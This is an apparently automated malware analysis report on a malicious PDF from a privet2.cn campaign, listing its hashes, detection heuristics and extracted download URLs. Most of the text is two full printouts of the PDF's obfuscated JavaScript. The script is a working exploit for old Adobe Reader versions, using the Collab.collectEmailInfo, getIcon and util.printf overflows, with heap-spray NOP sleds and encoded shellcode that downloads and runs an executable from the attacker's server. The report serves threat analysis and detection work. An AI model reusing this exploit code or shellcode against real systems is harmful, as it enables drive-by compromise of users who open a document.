Malicious PDF — malware analysis report

Static analysis result for SHA-256 dce331dafd93cdff…

MALICIOUS

PDF

7.0 KB First seen: 2013-03-06
MD5: 2a86cd44c1ce9f97ac9ff6adafc69c4c SHA-1: 588f73ad9e9e03afb85af935ccd3dac4ca9b2cca SHA-256: dce331dafd93cdff3852db143f9a511e406a1228430c3fba215aa8d8b350cfb0
308 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1566.001 Spearphishing Attachment T1027 Obfuscated Files or Information

The PDF file contains embedded JavaScript, indicated by multiple heuristic firings including 'PDF_JAVASCRIPT' and 'PDF_JS'. The ML classifier strongly suggests maliciousness. The presence of 'unescape()' and obfuscated script indicators points to an attempt to hide malicious code, likely for downloading and executing a second-stage payload. The document body is unreadable, but the script's presence and obfuscation are sufficient indicators of malicious intent.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 8

  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (matched in decompressed stream)
  • JavaScript action low 3 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
         var vhlfFE3SEH2vnCdKa = 0x0c0c0c0c;
     var MC0kZnGoZnOEdJZL6 =  unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A …
   }
  • PDF exploit shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL
    Decoded PDF exploit shellcode contains a hardcoded http(s) URL — stored as little-endian %uXXXX Unicode escapes, or hex-encoded in a document metadata field (/CreationDate, /Title) and referenced from the decoded script. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Generic recovered JavaScript exploit stage high PDF_GENERIC_STAGE_RECOVERY
    Bounded static stage recovery exposed hidden JavaScript through generic transforms such as null-byte collapse, percent decoding, marker replacement, arithmetic character codes, fromCharCode, numeric arrays, numeric-array minus-key decoders, alphabet-index arrays, /Producer half-difference metadata arrays, hex literals, marker-stripped Base64 literals, custom 6-bit XOR table decoders, or repeated-marker hex carriers. This rule is emitted only when the recovered stage contains exploit-like Acrobat JavaScript or shellcode markers.
  • Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://privet2.cn/arend_nt/getexe.php?spl=pdf_email Referenced by PDF JavaScript
    • http://privet2.cn/arend_nt/getexe.php?spl=pdf_prntfReferenced by PDF JavaScript
    • http://privet2.cn/arend_nt/getexe.php?spl=pdf_icnReferenced by PDF JavaScript
    • http://privet2.cn/arend_nt/getexeReferenced by PDF JavaScript
🗂 Part of campaign: privet2.cn 16 samples

Related samples 8

Ranked by shared artifacts, heuristics, extracted URLs, CVEs, and signatures.

Full JSON: related samples API

Extracted artifacts 5

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0009_000.js pdf-javascript-stream PDF /JS object 9 at offset 0xD6 5791 bytes
SHA-256: d5142be1b836d4c7406b528ba42d2946557f83bf5d02643524213dbfb20ec496
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 7 eval/decoder/string-building token(s). 24 of 42 identifiers look randomly generated (e.g. 'ZyMBjBzHMYPxBZqYN') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
var xWorRjCZXBLNDXKQt = new Array();
 var w0AAC7fyV4EXr06Ny;
 var lave = eval;
 function Dph9PFKkcYIwyBt8M(jKTkJznXWegb3eXrM, tHb22EZJAYV5fr91L)
 {
   while(jKTkJznXWegb3eXrM.length * 2 < tHb22EZJAYV5fr91L)
   {
     jKTkJznXWegb3eXrM += jKTkJznXWegb3eXrM;
   }
   jKTkJznXWegb3eXrM = jKTkJznXWegb3eXrM.substring(0, tHb22EZJAYV5fr91L / 2);
   return jKTkJznXWegb3eXrM;
 }
 function kJKfrqKYSMC1EYgVA(RXOHrZpMdVEmWafqu)
 {
   if(RXOHrZpMdVEmWafqu == 0)
   {
     var vhlfFE3SEH2vnCdKa = 0x0c0c0c0c;
     var MC0kZnGoZnOEdJZL6 =  unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u702F%u6972%u6576%u3274%u632E%u2F6E%u7261%u6E65%u5F64%u746E%u672F%u7465%u7865%u2E65%u6870%u3F70%u7073%u3D6C%u6470%u5F66%u6D65%u6961%u006C");
   }
   else if(RXOHrZpMdVEmWafqu == 1)
   {
     vhlfFE3SEH2vnCdKa = 0x30303030;
     var MC0kZnGoZnOEdJZL6 =  unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u702F%u6972%u6576%u3274%u632E%u2F6E%u7261%u6E65%u5F64%u746E%u672F%u7465%u7865%u2E65%u6870%u3F70%u7073%u3D6C%u6470%u5F66%u7270%u746E%u0066");
   }
   else if(RXOHrZpMdVEmWafqu == 2)
   {
     var MC0kZnGoZnOEdJZL6 =  unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u702F%u6972%u6576%u3274%u632E%u2F6E%u7261%u6E65%u5F64%u746E%u672F%u7465%u7865%u2E65%u6870%u3F70%u7073%u3D6C%u6470%u5F66%u6369%u006E");
   }
   var obJH4YZ6TMH7hs2t2 = 0x400000;
   var nTp4HPqgdU1Dp7TRP = MC0kZnGoZnOEdJZL6.length * 2;
   var tHb22EZJAYV5fr91L = obJH4YZ6TMH7hs2t2 - (nTp4HPqgdU1Dp7TRP + 0x38);
   var jKTkJznXWegb3eXrM = unescape("%u9090%u9090");
   jKTkJznXWegb3eXrM = Dph9PFKkcYIwyBt8M(jKTkJznXWegb3eXrM, tHb22EZJAYV5fr91L);
   var VVyKaRgsYOkaImMlb = (vhlfFE3SEH2vnCdKa - 0x400000) / obJH4YZ6TMH7hs2t2;
   for(var W41GkelksbqL3G7XE = 0; W41GkelksbqL3G7XE < VVyKaRgsYOkaImMlb; W41GkelksbqL3G7XE++)
   {
     xWorRjCZXBLNDXKQt[W41GkelksbqL3G7XE] = jKTkJznXWegb3eXrM + MC0kZnGoZnOEdJZL6;
   }
 }
 function t9g81EVlooXBZ9bd0()
 {
   var iNnd8fEx2HE8pSYx9 = 0;
   var ZyMBjBzHMYPxBZqYN = app.viewerVersion.toString();
   app.clearTimeOut(w0AAC7fyV4EXr06Ny);
   if((ZyMBjBzHMYPxBZqYN >= 8 && ZyMBjBzHMYPxBZqYN < 8.102) || ZyMBjBzHMYPxBZqYN < 7.1)
   {
     kJKfrqKYSMC1EYgVA(0);
     var eg3je51sBpLjnUPlr = unescape("%u0c0c%u0c0c");
     while(eg3je51sBpLjnUPlr.length < 44952) eg3je51sBpLjnUPlr += eg3je51sBpLjnUPlr;
     var WV3ZmP9CNKlDt9hZB = this;
     var mEFQ7RGSA4wZpnAKp = Collab;
     WV3ZmP9CNKlDt9hZB["collabStore"] = mEFQ7RGSA4wZpnAKp["collectEmailInfo"](
     {
       subj : "", msg : eg3je51sBpLjnUPlr
     }
     );
   }
   if((ZyMBjBzHMYPxBZqYN >= 8.102 && ZyMBjBzHMYPxBZqYN < 8.104) || (ZyMBjBzHMYPxBZqYN >= 9 && ZyMBjBzHMYPxBZqYN < 9.1) || ZyMBjBzHMYPxBZqYN <= 7.101)
   {
     try
     {
       if(app.doc.Collab.getIcon)
       {
         kJKfrqKYSMC1EYgVA(2);
         var T8EsJbC6p6EWfPwtf = unescape("%09");
         while(T8EsJbC6p6EWfPwtf.length < 0x4000)
         {
           T8EsJbC6p6EWfPwtf += T8EsJbC6p6EWfPwtf;
         }
         T8EsJbC6p6EWfPwtf = "N." + T8EsJbC6p6EWfPwtf;
         var h18eSHiPrXC3s3l1G = app;
         h18eSHiPrXC3s3l1G["doc"]["Collab"]["getIcon"](T8EsJbC6p6EWfPwtf);
         iNnd8fEx2HE8pSYx9 = 1;
       }
       else
       {
         iNnd8fEx2HE8pSYx9 = 1;
       }
     }
     catch(e)
     {
       iNnd8fEx2HE8pSYx9 = 1;
     }
     if(iNnd8fEx2HE8pSYx9 == 1)
     {
       if(ZyMBjBzHMYPxBZqYN == 8.102 || ZyMBjBzHMYPxBZqYN == 7.1)
       {
         kJKfrqKYSMC1EYgVA(1);
         var LJsqPhvdEb3BUiZVp = "12999999999999999999";
         for(Oy8vNzTZ2MbnMsRgl = 0; Oy8vNzTZ2MbnMsRgl < 276; Oy8vNzTZ2MbnMsRgl++)
         {
           LJsqPhvdEb3BUiZVp += "8";
         }
         var f6TCiholtIUSoJfmR = util;
         f6TCiholtIUSoJfmR["printf"]("%45000f", LJsqPhvdEb3BUiZVp);
       }
     }
   }
}
 app.J0Q6iSSKFpDgVzybS = t9g81EVlooXBZ9bd0;
 w0AAC7fyV4EXr06Ny = app.setTimeOut("app.J0Q6iSSKFpDgVzybS()", 1);
javascript_obj0009_000_shellcode_00.bin pdf-js-shellcode pdf-js-unescape-shellcode recovered from PDF /JS object 9 at offset 0xD6 276 bytes
SHA-256: 53b3e4c7a38345353f3fa1ae4b7ff52d402e922a3c928c5080347dbe2dec1883
javascript_obj0009_000_shellcode_01.bin pdf-js-shellcode pdf-js-unescape-shellcode recovered from PDF /JS object 9 at offset 0xD6 276 bytes
SHA-256: d3ec852c1d2decd4c16deaf172efa38de6b4ff01d8134aa8e996f13f2df4eb41
javascript_obj0009_000_shellcode_02.bin pdf-js-shellcode pdf-js-unescape-shellcode recovered from PDF /JS object 9 at offset 0xD6 274 bytes
SHA-256: 12ed26cd8dd7e85424451cd7e17e925b4b010481b1a4fd61291904ff3ca0143d
generic_stage_recovery_000.js deobfuscated-js generic stage recovery percent-decode from JavaScript object 9 at offset 0xD6 5787 bytes
SHA-256: a550293a8a29a24fc91d603414a64187d6b92f4ed16a06c5dc968de81ae167c1
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 7 eval/decoder/string-building token(s). 24 of 42 identifiers look randomly generated (e.g. 'ZyMBjBzHMYPxBZqYN') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
var xWorRjCZXBLNDXKQt = new Array();
 var w0AAC7fyV4EXr06Ny;
 var lave = eval;
 function Dph9PFKkcYIwyBt8M(jKTkJznXWegb3eXrM, tHb22EZJAYV5fr91L)
 {
   while(jKTkJznXWegb3eXrM.length * 2 < tHb22EZJAYV5fr91L)
   {
     jKTkJznXWegb3eXrM += jKTkJznXWegb3eXrM;
   }
   jKTkJznXWegb3eXrM = jKTkJznXWegb3eXrM.substring(0, tHb22EZJAYV5fr91L / 2);
   return jKTkJznXWegb3eXrM;
 }
 function kJKfrqKYSMC1EYgVA(RXOHrZpMdVEmWafqu)
 {
   if(RXOHrZpMdVEmWafqu == 0)
   {
     var vhlfFE3SEH2vnCdKa = 0x0c0c0c0c;
     var MC0kZnGoZnOEdJZL6 =  unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u702F%u6972%u6576%u3274%u632E%u2F6E%u7261%u6E65%u5F64%u746E%u672F%u7465%u7865%u2E65%u6870%u3F70%u7073%u3D6C%u6470%u5F66%u6D65%u6961%u006C");
   }
   else if(RXOHrZpMdVEmWafqu == 1)
   {
     vhlfFE3SEH2vnCdKa = 0x30303030;
     var MC0kZnGoZnOEdJZL6 =  unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u702F%u6972%u6576%u3274%u632E%u2F6E%u7261%u6E65%u5F64%u746E%u672F%u7465%u7865%u2E65%u6870%u3F70%u7073%u3D6C%u6470%u5F66%u7270%u746E%u0066");
   }
   else if(RXOHrZpMdVEmWafqu == 2)
   {
     var MC0kZnGoZnOEdJZL6 =  unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u702F%u6972%u6576%u3274%u632E%u2F6E%u7261%u6E65%u5F64%u746E%u672F%u7465%u7865%u2E65%u6870%u3F70%u7073%u3D6C%u6470%u5F66%u6369%u006E");
   }
   var obJH4YZ6TMH7hs2t2 = 0x400000;
   var nTp4HPqgdU1Dp7TRP = MC0kZnGoZnOEdJZL6.length * 2;
   var tHb22EZJAYV5fr91L = obJH4YZ6TMH7hs2t2 - (nTp4HPqgdU1Dp7TRP + 0x38);
   var jKTkJznXWegb3eXrM = unescape("%u9090%u9090");
   jKTkJznXWegb3eXrM = Dph9PFKkcYIwyBt8M(jKTkJznXWegb3eXrM, tHb22EZJAYV5fr91L);
   var VVyKaRgsYOkaImMlb = (vhlfFE3SEH2vnCdKa - 0x400000) / obJH4YZ6TMH7hs2t2;
   for(var W41GkelksbqL3G7XE = 0; W41GkelksbqL3G7XE < VVyKaRgsYOkaImMlb; W41GkelksbqL3G7XE++)
   {
     xWorRjCZXBLNDXKQt[W41GkelksbqL3G7XE] = jKTkJznXWegb3eXrM + MC0kZnGoZnOEdJZL6;
   }
 }
 function t9g81EVlooXBZ9bd0()
 {
   var iNnd8fEx2HE8pSYx9 = 0;
   var ZyMBjBzHMYPxBZqYN = app.viewerVersion.toString();
   app.clearTimeOut(w0AAC7fyV4EXr06Ny);
   if((ZyMBjBzHMYPxBZqYN >= 8 && ZyMBjBzHMYPxBZqYN < 8.102) || ZyMBjBzHMYPxBZqYN < 7.1)
   {
     kJKfrqKYSMC1EYgVA(0);
     var eg3je51sBpLjnUPlr = unescape("%u0c0c%u0c0c");
     while(eg3je51sBpLjnUPlr.length < 44952) eg3je51sBpLjnUPlr += eg3je51sBpLjnUPlr;
     var WV3ZmP9CNKlDt9hZB = this;
     var mEFQ7RGSA4wZpnAKp = Collab;
     WV3ZmP9CNKlDt9hZB["collabStore"] = mEFQ7RGSA4wZpnAKp["collectEmailInfo"](
     {
       subj : "", msg : eg3je51sBpLjnUPlr
     }
     );
   }
   if((ZyMBjBzHMYPxBZqYN >= 8.102 && ZyMBjBzHMYPxBZqYN < 8.104) || (ZyMBjBzHMYPxBZqYN >= 9 && ZyMBjBzHMYPxBZqYN < 9.1) || ZyMBjBzHMYPxBZqYN <= 7.101)
   {
     try
     {
       if(app.doc.Collab.getIcon)
       {
         kJKfrqKYSMC1EYgVA(2);
         var T8EsJbC6p6EWfPwtf = unescape("	");
         while(T8EsJbC6p6EWfPwtf.length < 0x4000)
         {
           T8EsJbC6p6EWfPwtf += T8EsJbC6p6EWfPwtf;
         }
         T8EsJbC6p6EWfPwtf = "N." + T8EsJbC6p6EWfPwtf;
         var h18eSHiPrXC3s3l1G = app;
         h18eSHiPrXC3s3l1G["doc"]["Collab"]["getIcon"](T8EsJbC6p6EWfPwtf);
         iNnd8fEx2HE8pSYx9 = 1;
       }
       else
       {
         iNnd8fEx2HE8pSYx9 = 1;
       }
     }
     catch(e)
     {
       iNnd8fEx2HE8pSYx9 = 1;
     }
     if(iNnd8fEx2HE8pSYx9 == 1)
     {
       if(ZyMBjBzHMYPxBZqYN == 8.102 || ZyMBjBzHMYPxBZqYN == 7.1)
       {
         kJKfrqKYSMC1EYgVA(1);
         var LJsqPhvdEb3BUiZVp = "12999999999999999999";
         for(Oy8vNzTZ2MbnMsRgl = 0; Oy8vNzTZ2MbnMsRgl < 276; Oy8vNzTZ2MbnMsRgl++)
         {
           LJsqPhvdEb3BUiZVp += "8";
         }
         var f6TCiholtIUSoJfmR = util;
         f6TCiholtIUSoJfmR["printf"]("E000f", LJsqPhvdEb3BUiZVp);
       }
     }
   }
}
 app.J0Q6iSSKFpDgVzybS = t9g81EVlooXBZ9bd0;
 w0AAC7fyV4EXr06Ny = app.setTimeOut("app.J0Q6iSSKFpDgVzybS()", 1);

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